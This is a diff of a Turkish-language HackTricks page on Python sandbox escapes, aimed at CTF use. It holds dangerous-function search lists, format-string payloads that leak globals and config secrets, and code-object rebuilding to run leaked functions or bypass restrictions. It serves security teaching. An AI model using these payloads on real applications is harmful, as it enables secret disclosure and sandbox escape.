@ -716,7 +516,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
Ayrıca, eğer **diğer kütüphanelerin** komutları çalıştırmak için **fonksiyonları çağırabileceğini düşünüyorsanız**, olası kütüphanelerin içindeki fonksiyon isimlerine göre de **filtreleme yapabiliriz**:
Ayrıca, eğer **diğer kütüphanelerin** de **komutları yürütmek için fonksiyonları çağırabileceğini düşünüyorsanız**, olası kütüphanelerin içindeki fonksiyon isimlerine göre de **filtreleme yapabiliriz**:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -747,12 +547,11 @@ load_source: NullImporter, _HackedGetData
execfile:
execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
```
## Yerleşik Fonksiyonlar, Global Değişkenlerin Yinelemeli Araması...
## Yinelemeli Arama Yapısı: Builtins, Globals...
{% hint style="warning" %}
Bu gerçekten **harika**. Eğer **globals, builtins, open veya herhangi bir nesne** gibi bir nesne arıyorsanız, bu betiği kullanarak **bu nesneyi bulabileceğiniz yerleri yinelemeli olarak bulabilirsiniz**.
Bu sadece **harika**. Eğer **globals, builtins, open veya herhangi bir nesne arıyorsanız**, bu betiği kullanarak **bu nesneyi bulabileceğiniz yerleri yinelemeli olarak bulabilirsiniz.**
{% endhint %}
```python
import os, sys # Import these to find more gadgets
@ -871,25 +670,17 @@ main()
```
Bu betiğin çıktısını bu sayfada kontrol edebilirsiniz:
{% content-ref url="broken-reference" %}
[Kırık bağlantı](broken-reference)
{% content-ref url="broken-reference/" %}
[broken-reference](broken-reference/)
{% endcontent-ref %}
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
## Python Biçim Dizesi
En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Python Format Dizisi
Python'a **biçimlendirilecek bir dize** gönderirseniz, **python dahili bilgilerine** erişmek için `{}` kullanabilirsiniz. Örneğin, globals veya builtins'e erişmek için önceki örnekleri kullanabilirsiniz.
Eğer python'a **biçimlendirilecek bir dize gönderirseniz**, `{}` kullanarak **python iç bilgilerine erişebilirsiniz**. Örneğin, globals veya builtins'e erişmek için önceki örnekleri kullanabilirsiniz.
{% hint style="info" %}
Ancak, bir **sınırlama** vardır, yalnızca `.[]` sembollerini kullanabilirsiniz, bu nedenle keyfi kodu yürütemezsiniz, yalnızca bilgi okuyabilirsiniz.\
_**Bu güvenlik açığı aracılığıyla kodu nasıl yürüteceğinizi biliyorsanız, lütfen benimle iletişime geçin.**_
Ancak, bir **kısıtlama** bulunmaktadır, yalnızca `.[]` sembollerini kullanabilirsiniz, bu nedenle **keyfi kodları yürütemezsiniz**, yalnızca bilgi okuyabilirsiniz.\
_**Bu zafiyet aracılığıyla kod yürütme konusunda bilgi sahibiyseniz, lütfen benimle iletişime geçin.**_
{% endhint %}
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
@ -910,16 +701,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Normal bir şekilde nokta ile `people_obj.__init__` gibi **özelliklere erişebileceğinizi** ve **parantezlerle** tırnak işareti olmadan `__globals__[CONFIG]` gibi **sözlük öğelerine** erişebileceğinizi unutmayın.
Dikkat edin ki bir nesnenin özelliklerine **nokta** ile normal bir şekilde erişebilirsiniz, örneğin `people_obj.__init__`, ve **parantez** içinde tırnak olmadan **sözlük elemanlarına** erişebilirsiniz, `__globals__[CONFIG]`
Ayrıca, nesnenin öğelerini numaralandırmak için `.__dict__` kullanabileceğinizi unutmayın `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Ayrıca bir nesnenin elemanlarını numaralandırmak için `.__dict__` kullanabilirsiniz, `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Biçim dizelerinden diğer ilginç özellikler, belirtilen nesnede **`str`**, **`repr`** ve **`ascii`** fonksiyonlarını **yürütme** olasılığıdır. Bunun için **`!s`**, **`!r`**, **`!a`** eklemeniz gerekmektedir:
Biçim dizelerinden diğer ilginç özelliklerden biri, belirtilen nesnede **`str`**, **`repr`** ve **`ascii`** fonksiyonlarını **`!s`**, **`!r`**, **`!a`** ekleyerek **çalıştırma** olasılığıdır:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
Ayrıca, sınıflarda **yeni biçimlendiriciler kodlamak** mümkündür:
Ayrıca, sınıflarda **yeni biçimleyiciler kodlamak mümkündür**:
```python
class HAL9000(object):
def __format__(self, format):
@ -933,14 +724,14 @@ return 'HAL 9000'
**Daha fazla örnek** **format** **dizisi** örnekleri [**https://pyformat.info/**](https://pyformat.info) adresinde bulunabilir.
{% hint style="danger" %}
Ayrıca, aşağıdaki sayfada Python dahili nesnelerinden **hassas bilgileri okuyan** araçlar için cihazları kontrol edin:
Ayrıca, Python dahili nesnelerden **duyarlı bilgileri okuyacak** araçlar için aşağıdaki sayfayı da kontrol edin:
{% endhint %}
{% content-ref url="../python-internal-read-gadgets.md" %}
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
{% endcontent-ref %}
### Hassas Bilgi Açığa Çıkarma Yükleri
### Duyarlı Bilgi Açığını Ortaya Çıkaran Yükler
```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
@ -954,12 +745,12 @@ Ayrıca, aşağıdaki sayfada Python dahili nesnelerinden **hassas bilgileri oku
## Python Nesnelerini İnceleme
{% hint style="info" %}
Python bytecode hakkında derinlemesine bilgi edinmek isterseniz, bu konuyla ilgili harika bir yazıyı okuyun: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
Python bytecode hakkında derinlemesine bilgi edinmek istiyorsanız, bu konu hakkında harika bir yazıyı okuyun: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %}
Bazı CTF'lerde, bayrağın bulunduğu **özel bir fonksiyonun adı** size verilebilir ve bunu çıkarmak için fonksiyonun **iç yapısını** görmek zorunda kalabilirsiniz.
Bazı CTF'lerde, bayrağın bulunduğu özel bir fonksiyonun adı verilebilir ve bayrağı çıkarmak için fonksiyonun iç yapısını görmek gerekebilir.
İncelemek için bu fonksiyonu kullanın:
İncelenmesi gereken fonksiyon:
```python
def get_flag(some_input):
var1=1
@ -971,22 +762,6 @@ else:
return "Nope"
```
#### dir
`dir` is a built-in function in Python that returns a list of names in the current local scope or a specified object's attributes.
In Python, every object has a set of attributes that define its behavior and properties. The `dir` function allows you to explore these attributes and get a better understanding of how an object works.
To use the `dir` function, you simply pass the object as an argument. For example:
```python
dir(object)
```
This will return a list of attribute names associated with the object. You can then use this information to access and manipulate the object's attributes.
Keep in mind that the `dir` function only returns the names of the attributes, not their values. To access the values, you will need to use the appropriate syntax for the specific attribute.
Overall, the `dir` function is a useful tool for exploring and understanding the attributes of Python objects. It can be particularly helpful when working with unfamiliar libraries or modules, as it allows you to quickly see what attributes are available and how to interact with them.
```python
dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
@ -995,7 +770,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` ve `func_globals` (Aynı) global ortamı elde eder. Örnekte, bazı içe aktarılan modüller, bazı global değişkenler ve içerikleri görülebilir:
`__globals__` ve `func_globals` (Aynı) Global ortamı elde eder. Örnekte, bazı içe aktarılan modülleri, bazı global değişkenleri ve içeriklerini görebilirsiniz:
```python
get_flag.func_globals
get_flag.__globals__
@ -1004,11 +779,11 @@ get_flag.__globals__
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```
[**Daha fazla yer için buraya bakın**](./#globals-and-locals)
[**Daha fazla global değişken elde etmek için buraya bakın**](./#globals-and-locals)
### **Fonksiyon koduna erişim**
**`__code__`** ve `func_code`: Fonksiyonun bu **özelliğine erişebilirsiniz** ve fonksiyonun **kod nesnesini elde edebilirsiniz**.
**`__code__`** ve `func_code`: Fonksiyonun bu **özelliğine erişebilirsiniz** ve fonksiyonun kod nesnesini **elde edebilirsiniz**.
```python
# In our current example
get_flag.__code__
@ -1023,20 +798,6 @@ dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
```
### Kod Bilgisi Almak
Python kodunu çalıştırmadan önce, kodun içeriğini ve davranışını anlamak önemlidir. Bu, kodun ne yapabileceğini ve potansiyel güvenlik risklerini belirlemek için gereklidir. İşte kod hakkında bilgi edinmenin bazı yolları:
- **Kodun İçeriğini İnceleme**: Kodu dikkatlice okuyun ve ne yaptığını anlamaya çalışın. Değişkenlerin nasıl kullanıldığını, döngülerin ve koşullu ifadelerin nasıl çalıştığını anlamak önemlidir.
- **Dökümantasyonu Okuma**: Kodun dökümantasyonunu okuyun. Bu, kodun nasıl kullanılması gerektiği, hangi parametrelerin kabul edildiği ve hangi çıktıların döndürüldüğü gibi bilgileri içerebilir.
- **Modül ve Fonksiyonlar Hakkında Bilgi Edinme**: Kullanılan modüllerin ve fonksiyonların belgelerini okuyun. Bu, modül veya fonksiyonun ne yaptığı, hangi parametreleri kabul ettiği ve hangi çıktıları döndürdüğü gibi bilgileri içerebilir.
- **Kodun İzini Sürme**: Kodu izlemek için print ifadeleri ekleyebilirsiniz. Bu, kodun hangi adımları izlediğini ve hangi değerleri kullandığını gösterir.
- **Kodun Analizi**: Kodu statik analiz araçlarıyla inceleyebilirsiniz. Bu araçlar, kodun potansiyel güvenlik açıklarını tespit etmek için kullanılabilir.
Kod hakkında bilgi edinmek, kodun potansiyel risklerini belirlemek ve güvenlik açıklarını tespit etmek için önemlidir. Bu bilgiler, kodu güvenli bir şekilde çalıştırmak veya potansiyel riskleri önlemek için kullanılabilir.
```python
# Another example
s = '''
@ -1082,29 +843,7 @@ get_flag.__code__.co_freevars
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
```
### **Bir fonksiyonu disassemble etmek**
Bir Python fonksiyonunu disassemble etmek, fonksiyonun altında yatan makine kodunu incelemek için kullanılan bir tekniktir. Bu, fonksiyonun nasıl çalıştığını ve hangi adımları izlediğini anlamak için faydalı olabilir.
Python'da, `dis` modülü bu işlemi gerçekleştirmek için kullanılır. Bu modül, Python bytecode'unu okuyarak ve çözerek fonksiyonun adımlarını gösteren bir çıktı sağlar.
Aşağıda, bir fonksiyonu nasıl disassemble edeceğinizi gösteren bir örnek bulunmaktadır:
```python
import dis
def my_function():
x = 5
y = 10
z = x + y
print(z)
dis.dis(my_function)
```
Bu kodu çalıştırdığınızda, `my_function` fonksiyonunun disassembled çıktısını alırsınız. Bu çıktı, fonksiyonun her bir adımını ve ilgili bytecode'u gösterir.
Disassembled çıktı, fonksiyonun altında yatan işlem mantığını anlamak için kullanılabilir. Özellikle, bir fonksiyonun nasıl çalıştığını anlamak veya bir sandık veya güvenlik mekanizması tarafından korunan bir fonksiyonu incelemek için faydalı olabilir.
### **Fonksiyonu Ayrıştırma**
```python
import dis
dis.dis(get_flag)
@ -1132,7 +871,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Eğer python kum havuzunda `dis` modülünü içe aktaramazsanız, fonksiyonun **bytecode**'unu (`get_flag.func_code.co_code`) elde edebilir ve yerel olarak **ayrıştırabilirsiniz**. Yüklenen değişkenlerin içeriğini (`LOAD_CONST`) görmeyeceksiniz, ancak `LOAD_CONST` değişkenin yüklenme ofsetini de belirttiği için bunları (`get_flag.func_code.co_consts`) tahmin edebilirsiniz.
Dikkat edin ki, eğer python kum havuzunda `dis`i içe aktaramazsanız, fonksiyonun **bytecode**'unu (`get_flag.func_code.co_code`) elde edebilir ve yerel olarak **çözümleyebilirsiniz**. Yüklenen değişkenlerin içeriğini görmeyeceksiniz (`LOAD_CONST`) ancak yüklenen değişkenin ofsetini (`LOAD_CONST`) `get_flag.func_code.co_consts`den tahmin edebilirsiniz çünkü `LOAD_CONST` aynı zamanda yüklenen değişkenin ofsetini belirtir.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -1154,10 +893,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
44 LOAD_CONST 0 (0)
47 RETURN_VALUE
```
## Python Derleme
## Python Derlemesi
Şimdi, bir şekilde **çalıştıramadığınız bir işlev hakkında bilgi alabilirsiniz**, ancak onu **çalıştırmanız gerekiyorsa** ne yapacağınızı bilmiyorsunuz.\
Aşağıdaki örnekte olduğu gibi, o işlevin **kod nesnesine erişebilirsiniz**, ancak disassemble'ı okuyarak **bayrağı nasıl hesaplayacağınızı bilmezsiniz** (_daha karmaşık bir `calc_flag` işlevini hayal edin_).
Şimdi, bir fonksiyon hakkında bilgi alabileceğinizi ancak çalıştıramayacağınızı hayal edelim, ama onu **çalıştırmanız gerekiyor**.\
Aşağıdaki örnekte olduğu gibi, o fonksiyonun **kod nesnesine erişebilirsiniz**, ancak disassemble'ı okuyarak bayrağı nasıl hesaplayacağınızı **bilmiyorsunuz** (_daha karmaşık bir `calc_flag` fonksiyonunu hayal edin_).
```python
def get_flag(some_input):
var1=1
@ -1172,7 +911,7 @@ return "Nope"
```
### Kod nesnesi oluşturma
İlk olarak, **bir kod nesnesi oluşturmayı ve çalıştırmayı** nasıl yapacağımızı bilmemiz gerekiyor, böylece sızdırılan fonksiyonumuzu çalıştırmak için bir tane oluşturabiliriz:
İlk olarak, **bir kod nesnesi oluşturup yürütmeyi** nasıl yapacağımızı bilmemiz gerekiyor, böylece sızdırılmış işlevimizi yürütmek için bir tane oluşturabiliriz:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -1203,7 +942,7 @@ types.CodeType.__doc__
### Sızdırılan bir fonksiyonun yeniden oluşturulması
{% hint style="warning" %}
Aşağıdaki örnekte, fonksiyonu doğrudan fonksiyon kodu nesnesinden yeniden oluşturmak için gereken tüm verileri alacağız. **Gerçek bir örnekte**, fonksiyonu yürütmek için gereken tüm **değerler**, **sızdırmanız gereken şeydir**.
Aşağıdaki örnekte, fonksiyonu yeniden oluşturmak için gereken tüm verileri doğrudan fonksiyon kodu nesnesinden alacağız. **Gerçek bir örnekte**, fonksiyonu yürütmek için gereken tüm **değerlerin** sızdırmanız gereken şey olduğunu unutmayın.
{% endhint %}
```python
fc = get_flag.__code__
@ -1215,12 +954,12 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag
```
### Savunmaları Aşma
### Savunmaları Atlatma
Bu yazının başında verilen örneklerde, `compile` fonksiyonunu kullanarak herhangi bir Python kodunu nasıl çalıştıracağınızı görebilirsiniz. Bu ilginç çünkü bir **tek satırda** döngüler ve her şeyi içeren **tüm betikleri** çalıştırabilirsiniz (aynısını **`exec`** kullanarak da yapabilirdik).\
Neyse ki, bazen yerel bir makinede bir **derlenmiş nesne** oluşturup onu **CTF makinesinde** çalıştırmak faydalı olabilir (örneğin, CTF'de `compile` fonksiyonuna sahip değilsek).
Bu yazının başlangıcındaki önceki örneklerde, `compile` fonksiyonunu kullanarak **herhangi bir python kodunu nasıl çalıştıracağınızı** görebilirsiniz. Bu ilginç çünkü **döngüler ve her şeyi içeren tüm betikleri** bir **tek satırda** çalıştırabilirsiniz (ve aynısını **`exec`** kullanarak yapabilirdik).\
Neyse ki, bazen yerel bir makinede **derlenmiş bir nesne oluşturmak** ve bunu **CTF makinesinde** çalıştırmak faydalı olabilir (örneğin, CTF'de `compile` fonksiyonuna sahip olmadığımız için).
Örneğin, _./poc.py_ dosyasını okuyan ve derleyen bir işlevi manuel olarak derleyip çalıştıralım:
Örneğin, _./poc.py_ dosyasını okuyan bir fonksiyonu manuel olarak derleyip çalıştıralım:
```python
#Locally
def read():
@ -1247,7 +986,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Eğer `eval` veya `exec`'e erişim sağlayamıyorsanız, bir **uygun fonksiyon** oluşturabilirsiniz, ancak bunu doğrudan çağırmak genellikle _sınırlı modda erişilemez yapılandırıcı_ hatasıyla sonuçlanacaktır. Bu nedenle, bu fonksiyonu çağırmak için **sınırlı ortamda olmayan bir fonksiyona ihtiyacınız vardır.**
Eğer `eval` veya `exec`'e erişim sağlayamıyorsanız, **uygun bir fonksiyon** oluşturabilirsiniz, ancak bunu doğrudan çağırmak genellikle başarısız olacaktır: _sınırlı modda constructor erişilemez_. Bu nedenle, bu fonksiyonu çağırmak için **sınırlı ortamda olmayan bir fonksiyona ihtiyacınız vardır.**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1255,22 +994,22 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
## Derlenmiş Python Kodunu Geri Dönüştürme
## Derlenmiş Python Kodunu Geri Çözme
[**https://www.decompiler.com/**](https://www.decompiler.com) gibi araçlar kullanılarak, derlenmiş Python kodu geri dönüştürülebilir.
[**https://www.decompiler.com/**](https://www.decompiler.com) gibi araçlar kullanılarak verilen derlenmiş python kodu **geri çözülebilir**.
Bu öğreticiye göz atın:
**Bu öğreticiye göz atın**:
{% content-ref url="../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
[.pyc.md](../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
{% endcontent-ref %}
## Misc Python
## Çeşitli Python
### Assert
Python, `-O` parametresiyle optimize edildiğinde, **debug** değerine bağlı olarak yapılan asset ifadelerini ve herhangi bir koşula bağlı olan kodu kaldırır.\
Bu nedenle, aşağıdaki gibi kontrol ifadeleri kullanmak yerine,
Python, `-O` parametresi ile optimize edilerek çalıştırıldığında, **debug** değerine bağlı olarak yapılan asset ifadelerini ve kodu kaldıracaktır.\
Bu nedenle, şu gibi kontroller:
```python
def check_permission(super_user):
try:
@ -1288,25 +1027,18 @@ print(f"\nNot a Super User!!!\n")
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 **Discord grubuna** katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı göndererek PR'ler aracılığıyla** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **paylaşın**.
</details>

View file

@ -2,31 +2,23 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
